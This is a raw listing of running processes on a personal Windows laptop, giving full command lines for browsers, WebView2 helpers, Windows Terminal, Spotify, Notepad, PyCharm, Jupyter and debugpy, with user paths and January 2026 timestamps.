  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.96) --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.30600.10.0 --embedded-browser-webview=1 --always-read-main-dll --metrics-shmem-handle=2220,i,5209847513527353324,17412949105803782972,524288 --field-trial-handle=1972,i,6807608580786065842,1714034539356809234,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2184 /prefetch:11 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1700,i,2804522993158261501,6497772538660354804,262144 --field-trial-handle=1900,i,2382477317839548085,11020950535975104632,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1892 /prefetch:2 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.96) --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.30600.10.0 --embedded-browser-webview=1 --always-read-main-dll --metrics-shmem-handle=2532,i,12911999518144516983,5521002362179086022,524288 --field-trial-handle=1972,i,6807608580786065842,1714034539356809234,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2412 /prefetch:13 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --skip-read-main-dll --metrics-shmem-handle=5512,i,3498330544851834549,5914657766384793495,524288 --field-trial-handle=1852,i,17236796965478837166,13229934097899133666,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=6100 /prefetch:12 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --startup-read-main-dll --metrics-shmem-handle=2316,i,15363674903951182213,370626569347263579,524288 --field-trial-handle=2304,i,8826279809462224588,14438565125565067693,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2532 /prefetch:11


name: TextInputHost.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca


name: OpenConsole.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.13503.0_x64__8wekyb3d8bbwe\OpenConsole.exe --headless --textMeasurement graphemes --width 120 --height 30 --signal 0xaa8 --server 0xa7c


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4706 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=835603530037 --metrics-shmem-handle=11104,i,8594758038032908605,14950272405369146693,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190713396030812888 --mojo-platform-channel-handle=15088 /prefetch:1


name: WindowsTerminal.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.13503.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe -Embedding


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--expose-gc --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1768367286322815 --launch-time-ticks=28284107751 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3704,i,12550398225470997685,897362451461709525,2097152 --field-trial-handle=1900,i,2382477317839548085,11020950535975104632,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3720 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e /prefetch:1


name: ai.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe A4DD05E3-7074-4F63-8148-D989C2C6AAE1 11B4DBB6-A6B9-418C-A30F-BB152E8F5B7B 14916 C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE word_fluency_v2.onnxruntime


name: Spotify.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Roaming\Spotify\Spotify.exe --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Ilina\AppData\Local\Spotify\User Data\Crashpad --url=https://crashdump.spotify.com:443/ --annotation=platform=win64 --annotation=product=spotify --annotation=version=1.2.79.427 --initial-client-data=0x258,0x25c,0x260,0x234,0x264,0x7ffccba041b8,0x7ffccba041c4,0x7ffccba041d0


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\anaconda3\python.exe C:\Users\Ilina\anaconda3\Lib\site-packages\debugpy\adapter --for-server 64581 --host 127.0.0.1 --port 62367 --server-access-token 441eeb858804772b41067755a388c01219f08ed5abf9640543eafeebf383ecce


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\anaconda3\python.exe C:\Users\Ilina\anaconda3\cwp.py C:\Users\Ilina\anaconda3 C:\Users\Ilina\anaconda3\python.exe C:\Users\Ilina\anaconda3\Scripts\jupyter-notebook-script.py C:\Users\Ilina


name: WindowsPackageManagerServer.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.27.350.0_x64__8wekyb3d8bbwe\WindowsPackageManagerServer.exe -Embedding


# computer_processes_history

name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3126 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=719937741597 --metrics-shmem-handle=17820,i,8427589874020143446,4012608730235299425,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190711915504691468 --mojo-platform-channel-handle=5240 /prefetch:1


name: LockApp.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\WINDOWS\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe -ServerName:WindowsDefaultLockScreen.AppX7y4nbzq37zn4ks9k7amqjywdat7d3j2z.mca


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --time-ticks-at-unix-epoch=-1768367280858179 --launch-time-ticks=379388226616 --skip-read-main-dll --metrics-shmem-handle=5800,i,14426183251649230090,13468081348354251697,2097152 --field-trial-handle=2308,i,15448888857071659286,2254146881730195647,262144 --variations-seed-version --trace-process-track-uuid=3190709012549043266 --mojo-platform-channel-handle=5808 /prefetch:9


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --time-ticks-at-unix-epoch=-1768367280858179 --launch-time-ticks=294488172095 --skip-read-main-dll --metrics-shmem-handle=6188,i,16859203836088116444,2829316996904426360,2097152 --field-trial-handle=2308,i,15448888857071659286,2254146881730195647,262144 --variations-seed-version --trace-process-track-uuid=3190709004115666625 --mojo-platform-channel-handle=6196 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3131 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=720026488165 --metrics-shmem-handle=11408,i,16426026801001331711,3064513547189071686,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190711920189900713 --mojo-platform-channel-handle=19108 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=2968 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=704661181367 --metrics-shmem-handle=12872,i,515470303636537888,14792573280144139608,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190711767452079326 --mojo-platform-channel-handle=932 /prefetch:1


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --time-ticks-at-unix-epoch=-1768367280858179 --launch-time-ticks=294488159384 --skip-read-main-dll --metrics-shmem-handle=6080,i,17175489099992973585,7491181942815224526,2097152 --field-trial-handle=2308,i,15448888857071659286,2254146881730195647,262144 --variations-seed-version --trace-process-track-uuid=3190709002241582927 --mojo-platform-channel-handle=6116 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3440 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=731758371416 --metrics-shmem-handle=15500,i,3707076819677425567,8436820591634692261,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712209735832054 --mojo-platform-channel-handle=9584 /prefetch:9


name: Notepad.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2508.38.0_x64__8wekyb3d8bbwe\Notepad\Notepad.exe C:\Users\Ilina\OneDrive - UKIM, FINKI\Desktop\NETIntel\dml.sql


name: Photos.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2025.11120.5001.0_x64__8wekyb3d8bbwe\Photos.exe C:\Users\Ilina\OneDrive - UKIM, FINKI\Desktop\NETIntel\ERDiagram_NetIntel.drawio (3) (1).png


name: OpenConsole.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\JetBrains\PyCharm 2024.3.3\lib\pty4j\win\x86-64\OpenConsole.exe --headless --width 180 --height 9 --signal 0x27f8 --server 0x14f4


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --time-ticks-at-unix-epoch=-1768367280858179 --launch-time-ticks=379387658118 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=6936,i,1672294400768111987,8470526187701293508,2097152 --field-trial-handle=2308,i,15448888857071659286,2254146881730195647,262144 --variations-seed-version --trace-process-track-uuid=3190709009737917719 --mojo-platform-channel-handle=6264 /prefetch:1


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=renderer --pdf-upsell-enabled --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --time-ticks-at-unix-epoch=-1768367280858179 --launch-time-ticks=294488154180 --skip-read-main-dll --metrics-shmem-handle=5996,i,6972355918539617126,18280830977315666316,2097152 --field-trial-handle=2308,i,15448888857071659286,2254146881730195647,262144 --variations-seed-version --trace-process-track-uuid=3190709003178624776 --mojo-platform-channel-handle=6028 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:27:09.607403
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3444 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=731833223971 --metrics-shmem-handle=12260,i,10722186354741002781,15067466520672648519,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712213483999450 --mojo-platform-channel-handle=19180 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:29:40.089345
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3449 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=732131271124 --metrics-shmem-handle=13440,i,4211310962579782163,12560912568638438541,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712218169208695 --mojo-platform-channel-handle=1584 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:30:54.950982
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3451 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=732210528933 --metrics-shmem-handle=13240,i,17537076581697223982,4718049219806660566,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712220043292393 --mojo-platform-channel-handle=15144 /prefetch:9


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:30:54.950982
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3452 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=732210532451 --metrics-shmem-handle=17444,i,10260899062139589579,5489409853542001322,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712220980334242 --mojo-platform-channel-handle=9060 /prefetch:9


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:47:51.123841
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3469 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=733147622410 --metrics-shmem-handle=12160,i,8992300743077470444,18304683755801822569,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712236910045675 --mojo-platform-channel-handle=10828 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:47:51.123841
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3471 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=733180119988 --metrics-shmem-handle=6892,i,11144612248005571596,530088546502868779,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712238784129373 --mojo-platform-channel-handle=14360 /prefetch:9


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-22T17:47:51.123841
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=3470 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=733180029769 --metrics-shmem-handle=19412,i,1405450336481997658,5622607829917103708,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190712237847087524 --mojo-platform-channel-handle=12704 /prefetch:1


